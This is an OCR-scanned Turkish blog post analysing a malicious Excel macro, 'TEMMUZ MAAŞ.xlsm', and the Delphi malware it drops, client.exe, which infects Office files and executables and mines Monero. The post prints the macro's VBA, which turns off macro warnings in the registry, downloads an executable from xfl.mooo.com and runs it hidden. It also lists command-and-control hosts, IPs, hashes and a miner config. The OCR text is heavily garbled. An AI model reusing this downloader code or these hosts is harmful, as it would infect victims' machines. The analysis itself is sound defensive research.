o yesim aksu - Ozgegmi*im - Cvlogin
hitps://indircy. com/wp-content/uploads/2017/07 /bankacilik-sekioru-cv.docx

o4 nisanurakbulut-cve
btmgrup.comAwp-contentiuploads/vib/.../nisanurakbulut-cvdocx v Transiate this page

Poclyesim aksu - Ozgegmi'im - Cviogin - beyda gida®
beydagida.com trihr/SenolCV.docx - Translate this page

Lol yesim aksu - Ozaecmi*im - Cvioging

Son olarak TEMMUZ MAAS.xlsm isimli Office dosyasi dikkatimi cekti. Dosyanin
icinde yer alan makro dosyasini oletools araci ile analiz ettigimde,
http://xfl[.]mooo.com web adresinden client.exe isimli bir dosyayi indirip
ardindan bunu TEMP klasdrine cachel.exe adi altinda kaydettikten sonra
calistiriyordu. TEMMUZ MAAS.x1lsm dosyasinin icerigi sahte olmayacak kadar
gercege benziyordu. Hem VirusTotal lUzerinde hem de retrohunt ile
http://xfl[.]1mooo.com web adresi ile iliskili dosyalari aradigimda cok sayida
birbiri ile ilgisi olmayan dosya oldugunu gordim. Kimi dosyalar bir kuruma
0zel olarak olusturulmus talimat dosyalariydi kimileri ise bir drine ait
kullanma kilavuzuydu. Gercgekten kuruma 6zel olan bu dosyalara bir sekilde
ulasip makro yerlestiren birileri mi vardi yoksa art niyetli kisiler
derslerini iyi calasip bu kadar gercekci makro iceren dokimanlar mi

olusturuyordu ? sorusu kafami kurcalamaya basladi.


https://www.virustotal.com/en/file/18cb1aa0d8f3fcb75f3c2f5598fde5d01a094028d7dc1822a6b2152727774bdc/analysis/
https://www.virustotal.com/en/file/055D4B6E6D189FF1F89BEDF51E83A74C6F0A83DA629C27DA7A4570F142D2AAD3/analysis/

<= | pA Antivirus scan for 18¢b1 X | + W

/www.virustotal.com/en/fi

< > O m £ hty

. Community Statistics Documentation FAQ About ™ English Join our community Sign in
SHA256: 18ch1aa0daf3fch75f3c2f5598fde5d01a094028d7dc1822a6b2152727774bdc
File name: =?UTF-8?Q?TEMMUZ_MAA=C5=9E=2Exism?=

=
Detection ratio:  15/59 "r 0 @ O

Analysis date: 2018-08-17 12:55:28 UTC ( 5 months ago )

= Analysis File detail @ Additional information ¢ Comments @) © Votes

Antivirus Result Update
Avira (no cloud) HEUR/Macro.Downloader 20180817
AVware LooksLike Macro Downloader.a (v) 20180817
CAT-QuickHeal 097M Dropper.R 20180817
Endgame malicious (high confidence) 20180730
F-Secure Trejan:W97M/MaliciousMacro. GEN 20180817
Fortinet WM/Agent B7B21tr 20180817
Kaspersky HEUR:Trojan-Downloader. Script. Generic 20180817
NANO-Antivirus Trejan.Ole2 Vbs-heuristic. druvzi 20180817
Qihoo-360 virus office qexvmc. 1070 20180817
Rising Macro.Run.c (CLASSIC) 20180817
Symantec ISB Downloaderlgen60 20180817
TACHYON Suspicious/X0OX Obfus Gen 20180817
Tencent Heur.MSWord.Downloader.d 20180817
ZoneAlarm by Check Point HEUR:Trojan-Downloader Script. Generic 20180817
Zoner Probably W97Shell 20180816
3] ViusTotal x S - X
< C Y @& hitps//www.irustotal.com/#/file/18ch 12a0d8f3fcb75632f5598fde5d0 1a094028d7 dc1822a6b2152727774bdc/details ok S OMHMAD G @
@) Hack4 Career. Inforr [ Linkedin N Mert SARICA (merts= M Inbox - mertsaricaC
Z Search o scan a URL, IP address, domain, or file hash q n

May create OLE objects.

May enumerate open windows.
May open a file

May write to a file.

©  May read system environment variables.

Macros And VBA Code Streams
B Thisworkbookcls

D CID T CD S G O D G D

Shell “cmd.exe /c " + THP, vbHide B
End If

End Sub

Sub FDM()
Dim URL, TMP As String
URL = “http://xfl.mooo. com"
MR = Environ("Temp") & “\n$cachel.exe”

Set WinHttpReg = CreateObject(“WinHttp.WinHTtpRequest.5.1")
If WinttpReq Ts Nothing Then

Set WinHttpReq - CreateObject("WinHttp.WinHttpRequest.s")
End If

WinHttpReq.Option(e) = "Mozilla/4.@ (compatible; MSIE 7.8; lindows NT 6.8)"

WinHttpReq.Option(6) = AllowRedirects

WinHttpReq.Option(12) = True

WinHttpReq.Open "GET", URL, False

0On Error Resume Next

WinHttpReq. Send -

Document Properties

CpilastModifiedBy MUDUR
Deicreator RPC1

Dcterms:created 2015-01-15T16:5501Z
Determs:modified 2018-08-17T11:0727Z
AppVersion 12.0000

Application Microsoft Excel
DocSecurity [

HyperlinksChanged  false

LinksUpToDate false

ScaleCrop false



TEMMUZ MAAS.ls - Excel R ELEE X

Page Layout Farmulas Data Review View Q Tell me what you want to do... Sign in 2_ Share
*% = =
0 Calibri -l - = p
Eg - - [ -
. = G = Find &
~ =l Format~ & - Salact v
Clipboard Font Alignment Murmber Styles Cells Editing
I SECURITY WARNING Macros have been disabled. Enable Content x
D28 1 b v
A B C D £ F G H -

XCEL FORMAT DOSYASININ KULLANIMI

HAZIRAN MAAS VE EGITIM OGRETIM ODENEGI

5 Odeme Tarihi 17.08.2018 Toplam Odenecek Tutar ve Personel Sayisi
5 MUSTER NUMARAS! Jube Kodu 731 17.224.61

& Kurum Kodu SE 1

i Ry a7 Para Birimi

] Odeme Tiirii [ L

¢ _Personel Adi Soyad: Personel Hesap No Personel Sicil No Meblag Personel Iban No
- Parsonal Adh Sopad o Wmf‘;"’;::‘"“’“f’m yazniz. Sled Hanes) 12 Karakier] gepmeme . Iw’if:mm”‘:;ﬂ”ﬂﬁiﬁ’:gﬁm_ “"":‘;: s
e 1 1.603,12

1z 1 1.543,12

13 1 1.543,12

14 1 1.596,40

15 1 1.543,12

16 1 1.543,12

17 1 1.543,12

18 1 1.596,40

13 | 1,565,095

20 1 1.573,57

21 1.573,57

2 I

23

24

25

kurummaas Kullanim Klavuzu Sheets 1

Private Sub App_DocumentOpen{Bylal Doc As Documentl i Sign in (Q'_Share
fipplication.-Displayflerts = False

Closing = False

ActiveDocument.Content.Font.Hidden = False

RegKeySave "HHKCU-SoftwaresMicrosoft Office~" & Application.Version & "“Excel-3
ecuritys\UBAWarnings", 1. "REG_DWORD"

RegKeyS8ave "HKCU-Software“Microsoft Office~" & Application.Version & "“Word-Se
curitysUBAlWarnings",. 1, "REG_DWORD'

Call MPS i x
End Sub - 0 @
Private Sub App_DocumentBeforeSave(Bylal Doc As Document. BavefislI fAis Boolean,. C Type Size -
ancel As Boolean) l

If Closing Then e folder

ActiveDocument .Content .Font .Hidden = True File folder
File folder
File folder
Private Sub App_DocumentBeforeClose(ByUal Doc As Document, Cancel As Boolean? A E

Closing = True 0 KB
EodiSub Compiled Python ... 1KB
Sub RegKeySave(i_RegKey As String., i_Ualue fAs String, Optional i_Type fs String <oft Word M 11 478 KB
= “REG_SZ'> bt kb
Dim myllS As Object crosoft i D... 13 KB

Set myWE = CreateObject('"WScript.Shell") =

mylls _Reglrite i_RegHey. i _Value. i_Type Text Document 5 KB
End Sub . . n

VB File 6 KB
Sub MPS(> 3 KB

Dim F8: Set F§ = CreateObject(“scripting.filesystemobject") .

TMP = Environ("Temp'? & '"4cachel.exe" 13 KB

If Not FS8.FileExists(TMP> Then 4 KB

Call FDU il
If F8.FileExists(TMP> Then KB
On Error Resume Next = 58 KB
Shell "cmd.exe sc " + TMPF,. vbHide b
End If Text Document 3KB

Else .

On Error Resume Next Python File 15 KB
Shell "cmd.exe ~c " + THP, uvbHide _ X S n
Python File 17 KB
Python File 15 KB ik
URL, THP As String
= "http:/sxf1l.mooo.comn”
= Environ{"Temp"? & "~"Scachel.exe"
Set WinHttpReq = CreateObject<"WinHttp.WinHttpRequest.5.1">
If WinHttpReq Is MNothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRegquest.5">
End If 5
== 4 B B - 1 + 5100
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Rulesets

Job status

Rules

Creation time
Finish time
Scanned data

Scanning speed

stotal -

Motifications

Scan file

Retrohunt

Finished

rule xfl_sifres

"xfl. mooo.com” ...

Oca. 5, 2019, 8:22 6.6.

Oca. 5, 2019, 11:48 &.6.

4209 TB

Calculating...

24 Download hashes

.

Matches
Start new job
3] VirusTotal x BEE
C Y & https//wvewirust

@ Hack4 Career. Inforr [ Linkedin

xfl.mooo.com x

Scanned

2018-12-30

dAeOM

2018-12-25

2018-12-18

2018-12-13

2018-12-01

2018-11-08

2018-11-08

2018-11-05

2018-11-05

2018-10-30

2018-10-26

W Mert SARICA (merts

Communicating Files ©

Detections

/62

34162

337860

35161

34159

34761

32159

31161

25161

25160

32161

M Inbox - mert.saric:

Type

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Open XML

Document

Office Gpen XML
Document
Office Open XML

Spreadsheet

Name

P.06 izleme ve Olcme Gihazlarinin Kontroli

Prosedart.docm

=?UTF 8207
§=C4=BOMPRO3_KULLANIM_KILAVUZU=5FBT=2Edo
cm=

P04 Iyi Uretim Uygulamalan (GMP) Prosedirt. docm

E.1021 SIEMENS SALT MALZEME SIPARIS LISTESI

1.docm

T.24 YANGIN TALIMATI.docm

PG.04 PERSONEL HiJYEN SANITASYON

PROGRAMI.docm

HEK.EK.01 HACCP POLITIKASI.docm

PL.04 ACIL DURUM PLANI.docm

T.03 DEPOLAMA TALIMATI docm

P.02 DOGRULAMA VE GECERLI KILMA

PROSEDURU.docm

F-28 Sevkiyat Formu.xism

Scanned

2018-12-01

2019-01-04

Files Referring ©

Scanned

2019-01-04

2019-01-04

2019-01-04

2019-01-03

2019-01-03

2019-01-03

2019-01-03

2019-01-03

2019-01-03

Detections

50 167

1161

Detections

37160

37160

35161

38 /60

37161

3558

37160

35157

37159

- XFL { meta: author = "Mert SARICA (mert.sarica@gmail.com)” version =

Tpe

Win32 EXE

zP

Type
MS Word
Document

MS Word

Document

Office Open XML

Document

MS Word

Document

MS Excel

Spreadsheet

MS Excel

Spreadsheet

MS Word

Document

MS Word

Document

MS Word

1" weight = 5 strings: $a =

- X

* somEmADNO @ :

Name

client

€W546TNBOGO2MH.JgenU4NHRzCURRSDCrbUIBaj Iy

WIKCmdYNUBZT3J3RT06

Name

wbaProject bin

vbaProject.bin

PG.05 ON GEREKSINIM PROGRAMI.docm

wbaProject bin

vbaProject bin

vbaProject bin

vbaProject bin

wbaProject bin

vbaProject.bin

Mert SARICA 0
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Office Open XML~ P02 DOGRULAMA VE GECERLI KILMA
@ 2018-10-30 25160 MS Word
Document PROSEDURU.docm 2019-01-03 35157 vbaProject.bin
Document
@ Office Open XML
2018-1026 32161 F-28 Sevkiyat Formu xism MS Word
A Spreadsheet 2019-01-03 371859 vbaProject.bin
) Document
Office Open XML~ F-04 KIRIK GAM VE SERT PLASTIK KONTROL
2018-10-19 32159 WS Word
Spreadsheet FORMU.Xism 2019-01-03 37 160 1059b54fce 1ed06er1019669eee2910.virob)
Document
Office Gpen XML
2018-12-23 33160 F13.2TEMIZLIK KONTROL FORMU xism MS Word
Spreadsheet 2019-01-03 29761 VbaProject.bin
Document
Office Open XML T:21ISCI SAGLIGI VE IS GUVENLIGI KURALLARI
2018-10-06 29162 MS Word
Document TALIMATI docm 2019-01-03 27159 vbaProject bin
Document
Office Gpen XML
20181115 35160 T.08 LAVABO HIJYEN TALIMATL.docm MS Word
Document 2019-01-03 39761 baProjectbin
Document
Office Gpen XML
2018-10-16 31160 GT.01 GENEL MUDUR docm MS Excel
Document 2019-01-03 36159 vbaProject.bin
Spreadsheet
Office Open XML
2018-08-26 22161 T.22 ILKYARDIM TALIMATI.docm MS Word
Document 2019-01-03 25159 vbaProject.bin
Document
Office Gpen XML
2018-10-20 26 160 15006DBbI1504845219D833994330b0.virob] MS Word
Document 2019-01-03 297161 vbaProject.bin
Document
Office Gpen XML
2018-09-26 22161 T18 CAM KONTROL TALIMATL.docm 20190103 37159 unknown wbaProject.bin
Document
MS Word
Office Open XML~ FR-09 GUNLUK URETIM VE KALITE KONTROL 2019-01-03 28781 vbaProject bin
2018-09-26 21162 Document
Spreadsheet RAPORU Xism
1S Word
Office Gpen XML 2019-01-03 37189 vbaProject bin
2018-09-26 21161 F26 GIRDI URUN KONTROL FORMU docm Document
Document
14S Word

2019-01-03 34157

vbaProject bin -

- x

sisteni » TALIMATLAR

al
arch TEMMUZ MAAS.xism Il

-] 4 |y Search TALIMATLAR

Organize El Open Share with + Print E-mail Mew folder > [l @ L i @ _
Jr Favorites Mame . Date modified Type . Size &
A R o L —
B Deskiop 05 T.07 GALISMA TEZGAHLARI TEMIZLIK T..  11.06.2018 03:13 Microsoft Word M... 38 KB
4 Downloads 5 T.08 LAVABO HUYEN TALIMATLdocm a5 2018 03:13 Micresoft Word M... 37KB
L Eq - - - =
1=l Recent Places 5 T.09 COP KOVALARI HUVEN TALIMATLd...  11.06.2018 03:14 Microsoft Word M... 37KB
@ T.10 DEZENFEKTAMLI PASPAS KULLANM...  11.06.2018 03:14 Microsoft Word M... 38 KB
7 Libraries T.11 SOYUMMA ODALARI[ e . [y
B U i @, T-14 AMBALAJ ODASI KULLANMA VE TEMIZUK TALMATLA... =
Documents 5 T.12 TEMIZLIK EKIPMANL] —
o' Music @5 T.13 DEPO TEMIZLEME TA | [ General | File Hashes | Securty | Details | Previous Versions |
[E5] Pictures 5 T.14 AMBALAJ ODASI KU
B Videos 5 T.15 LAVABO KULLANM Pty Ve i
i T.16 PERSONEL CALISMA Tile =
18 Computer 5 T.17 EL VIKAMA TALIMA Subject
& Local Disk () 5 T.18 CAM KONTROL TAL)| | | Tags |
5 T.19 TEMIZLIK MALZEMEL | Categaries i
& Network 5 T.20 ZEVARETCI KABUL TA | C"m_m_ems
5 T.21 I5CT SAGLIGIVE IS GUl | 9'” —-—
2 e ors noerver
T.22 ILKYARDIM TALIMAT
fﬁ 7 | Last saved by
5 T.23 DEPREM TALFMATI.d N SR ]
M5 T.24 YANGIN TALIMATLAN | | Version number -
—L T.14 AMBALAJ ODASI KULLANMA VE TE... Fogampame: :hcmsoft Ofics Worl
E Microsoft Word Macro-Enabled Document Al Compary
B Manager
b Contert created  31.03.2018 00:13 —
Date last saved  11.06.2018 02:15
Last printed
Total editing time  22:23.00
Remave Properties and Personal Information
TEMMUZ MAAS xls Date modified; o] [t " honly [itle
Microsoft Excel 97-2003 Worksheet Authors; et

http://xfl[.]mooo.com web adresi ve ¢6zdigi ip adresleri 06zelinde arama

yaptigimda ise ip adreslerinden indirilen srim2 dosyasi dikkatimi cekti.

Dosyay1l indirip 7-Zip araci ile acip config.json dosyasina baktigimda Monero

dijital para madeni yapan bir yazilim oldugu ortaya c¢ikti.


https://www.virustotal.com/#/file/6062e0f7f45f6042c186032c27be177d18ca046cbce75d2022bfb1444f7ed665/detection
https://www.getmonero.org/

- X
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@ 5 0 €9 50 engines detected this file c = ¥

® = 5

- 1891 7da7ad5701142d2aad3 699.5 KB 2018-12-01 00:45:15 UTC -2 &)

) dlient size 1 month ago EXE

peexe
Community
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY
Graph Summary © ITW uris © D
Scanned Detections URL
@ 2 similar files
2018-12-30 13168 hitp://140.62.59.108/client
2019-01-03 5167 hitp:/ixfl.mooo.com/
2016-11-23 6166 hitp://45.76.3.86/client
D @ 3 itw urls
Contained In Graphs © [u]
Owner Description
@ 1 itw domains “° @
VirusTotal Community Tools Premium Services Documentation
3] VirusTotal x 5] VirusTotal Graph - Home x | 3 viusfotal x| + - X
& C Y & hitps//wwwairustotal.com/gui/ip-address/140.82.53.108/relations * s 0of{ppmade @

M Inbox - mert.saric:

@ Hackd Career. Inforr [ Linkedin W Mert SARICA (merts

140.62.59.108 x

Mert SARICA n

@ 4 detected URLSs under this IP address

Sammunity

140.82.59.108

dAeOM

RELATIONS ‘GOMMUNITY

Graph summary &

2 resolutions

N

LN

@ 1 communicating files @ 2 downloaded files

Downloaded Files ©

Scanned Detections Type Name
2018-12-01 50167 Win32 EXE client

Iarwwwiclean-
2018-12-29 4417 Win32 EXE

mxfvirusesevidence/output. 114522386.txt

Passive DNS Replication ©

Date resolved

2018-12-26

2018-07-31

URLs ©

Scanned

2019-01-01

2018-12-30

2018-12-28

2018-12-24

Domain

Xred.mooo.com

<

us

puppet-master.io

Detections

4167

13168

12169

2166

Gommunicating Files O

Scanned

2018-11-05

Detections

47168

URL
hitp://140.82.59.108/
http://140.82.59.108/client
Nttp://140.62.59.108/s1im2

http:/ixred.mooo.com/

Type Name

Win32 EXE G1306.1.1.exe
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&« C O & https//wwwairustotal.com/gui/ip-address/45.76.3.86/relations w $ompease @

n RS- Mert SARICA n

@) Hockd Career. Infore [ Linkedin 9 MertSARICA (merts= M Inbox - mertsarica@

4576.3.86 x -

o No interesting sightings for this IP address

Seore 45.76.3.86

2z

de®O M

RELATIONS COMMUNITY

Graph summary © URLs ®
Scanned Detections URL
@ i 20190102 1166 hitp:1/45.76.3.86/
2018-12-24 8167 hitp://45.76.3.86/srim2
2018-11-23 6166 hitp://45.76.3.86/client
L 2018-08-07 2168 hitp://45.76.3.86/config

Downloaded Files O
@ 3 downloaded files

Scanned Detections Type Name
2018-12-01 50167 Win32 EXE client
2018-10-05 36169 Win32 EXE srim2
2018-07-25 46166 Win32 EXE client

VirusTotal Community Tools Premium Services Documentation -

File Edit Search View Encoding Language Settings Tools Macre Run  Plugins  Window 7 X
cHHE R LB smBDiocinw sz BEIE EDEHo®| & E N B G| &
B stat3vbs £1 [H corfig json Eil

"ipve™: false, -
"restricted"”: true

[=RuT+R =]

B b,

"asm™: true,
"autosave™: true,
"av™: 0,

1 "background™: true, -4
"colors™: true,
"cpu-affinity™: null,
"cpu-priority™: null,
"donate-level™: 1,
"Thuge-pages™: true,
"hw-aes": null,
"log-file™: null,
"max-cpu-usage™: 50,
E "nools": [

i+ {

w

o w

"url™: "zmr-eul.nanopool.org:144447,
"user™:

2
2
2
2
2
2
2

2
£
iE
5]
]

@vandex.com",
"pass™: """,
"rig-id": null,
"nicehash™: false,
"keepalive™: true,
"wvariant™: -1,
"t1s™: false,
"tls-fingerprint™: null

m

WK P OWwe
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T

1.

"print—-time™: &0,
"retries™: &0,
"retry-pause™: 10,
"szafe": false,
"threads": null,
"user-agent™: null,
"watch™: false
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client.exe dosyasina kisaca bakmaya karar verdikten sonra IDA Pro ve
Interactive Delphi Reconstructor araclari ile analiz etmeye basladim. Dikkate

deger tespitlerime hizlica yer vermem gerekirse;

1. cachel.exe calistirildiktan sonra kendisini


https://www.hex-rays.com/products/ida/index.shtml
https://github.com/crypto2011/IDR

C:\Users\admin\AppData\Local\Google Chrome Helper\chromehelper.exe altina
kopyalamaktadir.

. http://xredini[.]mooo.com , http://140[.]82.59.108/config ve
http://45[.176.3.86/min adresleri ile iletisime gecmektedir.

. IDAPython yardimi ile gizlenmis karakter dizilerini c¢o6zdigimde karakter
dizileri arasinda xred[.]mooo.com , xredini[.]mooo.com ve xfl[.]mooo.com

adresleri ortaya c¢ikmaktadir.

. Zamanlanmis gorevlere (task scheduler) Google Chrome Helper Update kaydini
yaratabilmektedir.

. Sistem Uzerindeki xls, xlsx, doc, docx uzantili dosyalari bulduktan sonra
icerigini %TEMP% klasoOriine yarattigi makro uzantili (docm, xlsm gibi) ofis
dosyasina (Yazar adi: WlnServer) kopyalamakta ve orjinal dosyalari silerek
yerine orjinal dosyalarin isimleri altinda bu ofis dosyasini kopyalamaktadir.
(Ornek: Masaiistiindeki Mert.docx dosyasini silip yerine Mert.docm olusturuyor
ve ig¢ine Mert.docx icerigini kopyaliyor.)

. Sistem Uzerindeki tum ylrdtilebilir dosyalari (exe) bulup modifiye ederek
calistirildigi anda hem orjinal dosyayi hem de Resource Directory kismindaki
zararli ofis dosyalarini (%TEMP% klasdérine actigi) ve programi

calistirmaktadir.

. VirusTotal uUzerinde client.exe dosyasi lUzerinde yer alan
ABvgjdfL+hpQCgCT42Vd06m4GD karakter dizisini arattigimda ise bu zararli
yazilimin bulastigil cok sayida Ornekle karsilastaim.
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File Tools Tabs Plugins Program

Units [F2)| Tvees (F4) | Forms [F5) | Cadebiewer [F) | Classiewer (F7)| Stings (F8) | Mames (F3) | SourceCade (F10)
#8491080 <{Enumeration> Boolean

88481828 <{Char> Char . .
<Ansistring}> 'Sealed-case PC’

ggzg:ggﬁ éinieger; ;nEeger <Ansistring> 'Multi-system chassis’

nLegers bute —|| <AnsisString> ‘'Compact PCI’
00401068 <Integer> Word <AnsiString> 'RAdvanced TCA'
80481607C <Integer> Cardinal <AnsiString> ‘Blade’
00491094 <AnsiString> String <{AnsiString> ‘'Blade Enclosure’ .
04B18A8 <WideString> WideString <Ansistring> ‘C:\Apps\Delphi Project\Xred57yv-118\Server\PJResFile._pas

: : <AnsisString> 'Assertion failure’
A3a010EH SMardianty Davtant <AnsiString> *C:\Apps\Delphi Project\XredS7\v-118\Server\PJResFile.pas
a@yBe18ce <{Variant> 0leVariant : : . : : '
2 <AnsiStrinag> ‘Assertion failure
88481808 <{UHMT> Tﬂhjeet <Ansistring> 'T*
88481124 <Class> TObject (System) <AnsisString> "1°
00461144 {Interface> IInterface (¢ <Ansistring> '1°
004011C4 <UMT> TInterfacedObject (nnsjstrinu> "+R/+¥buEBcr1V/azIlminCsSPiUtAROB1MFJ2ZPOrPeLy+2cpsBP 2+ 3E"
804072FC <Enumeration> _Enum_4 1 <AnsiStrinay “MOL® s
08407340 <Set> TOwnerDrawState <Ansistrinag> 'aB9mJBriB10e05a5a7H+6+va4isiBF+Bs8Y1RasU"
; <AnsiString> 'Ati Update Service'

004884E8 <{UMT> Exception <AnsisString> ‘XP"
00408518 {UMT> EAbort . <AnsiString> ‘apdo/COt92xh/HUKGNGUudO40Sa9ipDHUIa2SAABRoT ar0SaBRSOTRSt
8048856C <UMT> EHeapException <AnsiString’> ‘%s\%s’
AB4B85CE <UMT> EOutOfHemory <AnsiString> ‘DisplauName’
08488624 <UMT> EInOutError <Ansistring> ‘W9zh4RTcu®
0048867C <UMT> EExternal £ansistrinag, cLaolon

. <Ansistrina> ‘gHRelLsPCFi6BksF*
08488604 <{UMT> EExternalException <AnsiString> *XP'

00468734 {UMT> EIntError <AnsiStrina> *'apdo/COt92xh/HUKGHaUude40Sa9ipDHUIa2SAABROI ar0SaBRSOTRSt!
0848878C <UMT> EDivByZero <AnsiStrina> 'BRSUMOcuJC’
884887EL4 <UMT> ERangeError (nnsjstrinu> '8080:59"
8848883C <UWMT> EIntOverflow égns}ggr}nﬂ; 'E{1ETLH?23;LP.V
80408898 <UMT> EMathError nEisErinns Flubnin i¥n®
804088F8 <UMT> Elnvalidop LAnsIstring, LSYSIEM: ©

s <Ansistrinag> ‘sFWOnuXbCiE®
00488948 <UMT> EZeroDivide <AnsiString> '%s "%s
a84889A8 <{UMT> EOverflow <AnsiStrinag> 'C:\°
884889F8 <UMT> EUnderflow <AnsiStrina> 'Google Chrome Helper'
00408A50 <UMT> EInvalidPointer <AnsiString> 'xN1i7T8tbqBlK1mMHD "
8B4B8AAC <UMT> EInvalidcast <AnsiStrina’> 'xH1i7PwHH7uL2k3Ari37eon’

<AnsiString> 'xdkUv8odTXKaXalo"

8848888 <UMT> EConvertError - . E H A
nqunssﬁu <UMT> EAccessUiolation <AnsiStrinag> 'qRBlieb8u+W0x4DADvHual

= /hn-—%(‘l—n_—{nn\ THe '
e 1 b ] [

LU}

B IDA - clientexe C\Use

= I 534 @0 RDG Packer Detector v0 Vx Edition 2017 O E) @
= R % Editien o _) :
[N N N YO O N < ! [ —

C:hUzersvMerthDeskiop\client. exe 32
Library function [l Regular function [l Instruction Data L] Cleth]
3 2
[F]Functions window O & X maview-s 3 | (O] ke Borland Delphi v6.0 - v7.0 Compiler <2 Exports
>
x 2
Function name * Nada Detected g
IE GetFullPathNameA T )
= . Possible
f | GetIconInfo i
[7] GetkeyhameTexta Contact: flls Er
7 Geersoo
Fl == Detect
!; boardLayout File scanned in .01 Seq. " M-B -
f | GetKeyboardLayoutlist
? GetKeyboardState
5 W=
I_i GetKeyboardType
| | GetLastActivePopup
| f| GetLastError
I; EEIESEEAI sub_45743C proc near
|f] GetLocalTime push s
!; GetlocaleInfoA push B
| 7| GetLocaleInfoA_0 mav esi, edx
| 7| GetLongPathNameA mov ebx, eax
[¥] GetMenn X mov ecx, esi
4 [y 3 mav dx, 925h
mov eax, ebx
call sub_457@83C
%, Graph overview O &8 x pop esi
pop ebx
retn
sub_45743C endp
100.00% (-334,-135) (781,366) 0005683C 0045743C: sub 45743C (Synchronized with Hex View-1)
E Output window O & x
451784: 85-81-2019 18:15:39 decompiling (@)... A

451B68: 85-81-2019 18:15:39 decompiling (1;usedcpu @@:8@:8@) int _ usercall@<eax>(int al@<eax>, int a2@<edx:) .
85-81-2019 18:15:39 The application has been completely decompiled. &
Caching 'Functions window'... ok

Al:_idle Down Disk: 12GB



earch View Debugger Lumina _Options Windows Help

e S Ve @O et e X b @O O s - %) B B
Jl_illlm::}

Library function [l Reguiar function [l Instruction [ Data [ Unexplored | External symbol [l Lumina function

[ Debug View 8 [A Structures B.LE Enums. 8
IDA View £IP O & X | i General registers 0o & x
- 3
CoDE:0047DE6C dec  ecx £AX 00180294 s
CODE :0047DEGD jnz short loc_47DE68| E£6X 00000000 xg g E
Eox: W oe
FEE] E£517EFDDGOG 4 RE @
|cODE:0047DE6F push  eex £010618F3DC 4 ~|r_e -
|CODE:0047DE76 mov  eax, offset dword 470656
|cone :0047DE75 call  sub_467208 (6] Modules O & x
|CODE:0047DE7A xor  eax, eax i s p—
|cODE :6047DE7C push  ebp
|CODE :047DE7D push  offset loc_47DFS0 CA\Users\Mert\Desktopclient.exe 00400000 000800
|CODE:6047DE82 push  dword ptr Ts:[eax] ; uExitCode CAWindows\SysWOWSH\ dwmapi.dil 6CED0000 000130¢
lcoDE:0047DE8S mov  fs:[eax], esp =R S O - B o -
|CODE :0047DE8S 1ea eax, [ebpvar_1C] < I ]
|cODE :6047DE8B call  sub_s7DA14
|CODE:0047DE90 mov  eax, [ebp+var_1c]
|CODE :6047DE93 1ea edx, [ebp+var 18] (@] Threads O & x
|coDE:0047DE96 call  sub_sesFac
|CODE:6047DE9B mov  eax, [ebptvar_15] Decimal sl Hoc State Mome
|CODE :8047DEE lea edx, [ebptvar_14] 2364 93C Ready dlient.exe
|coDE :0047DEAT call  sub_ses1dC
|CODE:6047DEAG mov  edx, [ebp+var_14]
|copE:6047DEA9 mov  eax, offset dword 48216C
100.008 (-265,401) (712,356) 00075260 0047D2E0: staxt (Symchromized with ZIE)
[E] HexView-1 0 &8 x || stakview 0 & x
@647DE20 Be O 46 G0 74 OE 46 00 13 A3 46 00 G A2 46 0@ °ZF.TZF..EF.agr. + ee1an2ac Stack[0008093C] 00180208 =
B47DE30 A8 D7 47 00 78 D7 47 00 50 A3 46 0O 5 A3 46 0O “XG.3MG.€EF.PEF. [ 09180280 66470700 start:loc_87DF30 @
@647DE40 8 D6 47 08 85 D6 47 60 EO D7 47 €0 BO D7 47 00 E xG.

©0160264 018D2E4 Stack[008B093C] :0B1ED2EL
00180285 00000000
0018026C 00000900

60160200 000E0900

601802C4 60203248 debugd4s:60203243

@047DESe 50 D9 47 00 04 DO 47 00 00 00 00 ©O 25 DB 47 00
o@470E60 [ 88 EC B9 05 00 6@ 00 6A 00 GA 80 49 75 FO 51
@047DE70 B8 50 DB 47 @0 ES 8E 93 F8 FF 33 (B 55 68 90 DF
©0047DE30 47 BB 64 FF 30 64 89 20 8D 45 E4 EB 34 FB FF FF 6.

00070260 0047DEG0: start ~ UNKNOWN 0018D2AC: Stack[0000083C1-0018D2AC (Synchrenized with ESP) -
Output window D& x
Encoded String: qNReLsPCFj6BKsF Decoded String: config.jsen &

Encoded String: apdo/COto2xh,
Encoded String: BRSVROCYIC Decoded String: HIGHEST
Encoded String: Gtj7TTHAMA Decoded String: ONLOGON
F1uFmin/6HPLP¥n Decoded String: LOCALSERVICE

RStvg6 Decoded String:

&

RStvHqE Decoded String: SOFTWARE\Microsoftii fon\Run

@

s p
Encoded String: sFUGMXBCJE Decoded String: explorer
Encoded String: apdo/COt3Zah i gBRSOTRStVqE Decoded String: SOFTHARE\Microsoft\indows\CurrentVersion\Run

Encoded String: xn1j7Totbgalclmb Decoded String: xred-mooo. com

Encoded String: xN1j7PWHHTUL2K3Ari370A Decoded String: xredini.mooo.com

xdkUvBodTXKEXaQD Decoded String: xfL.m0oo.com

QRELi ebBuHIODADVIGC Decoded String: chromehelper.exe

Encoded String: MIjr/ckil/ExHUMBLYMsuzD Decoded String: Excel.Application

Encoded String: £6q/7+BFgGYFFUBKYROUIC Decoded String: Word.Application

Encoded String: ZVLGDyrfcuzS6INCebX1pCKeC Decoded String: Program Files (x86)

Encoded String: ZVLGDYrftcuzS69NKC Decoded String: Program Files @
ed String: kciksVenteIG15dfIsEs5103 Decoded String: --max-cpu-usage=58 -

USP, -1);  RunTo(imp_2nd_addr) ); code ._SUSP, -1); decstr = ) print “Encoded String: %s Decoded String: %s” % (encstr, decstr) SetRegValue(jmp_endaddr, EIP)  time.sleep(1) # Main functions find_boundaryQ find_encstr() startQ
Down Disk: 10GB
C——
u®v| ) v Mert » AppData » Local » Temp 3 -
- E a2 -
Organize = El Open - Share with + Print MNew folder
A Eavorites Name Date modified Type Size
M Desktop @_ﬁ t#9Ff.docm 21.01.2019 20:57 Microsoft Word M... 26 KB
& Downloads [ ~Scachel.exe 21.01.2019 20:57 Application 11 KB
‘lE.' Recent Places || {D450B6A4-09D7-4DA9-B2DA-93CBOF4F...  21.01.2019 20:56 DAT File 0 KB
|| 6gwOsN.ico 13.01.2019 22:28 Icon 0 KB
4 Libraries € 6gwOsN.exe 13.01.2019 22:28 Application 39,682 KB
@ i { Y
Documents || XhqRQy.ico 13012019228 f g 19Ft.docm Properties |
o Music € XhgRQy.exe 13.01.2019 22:28
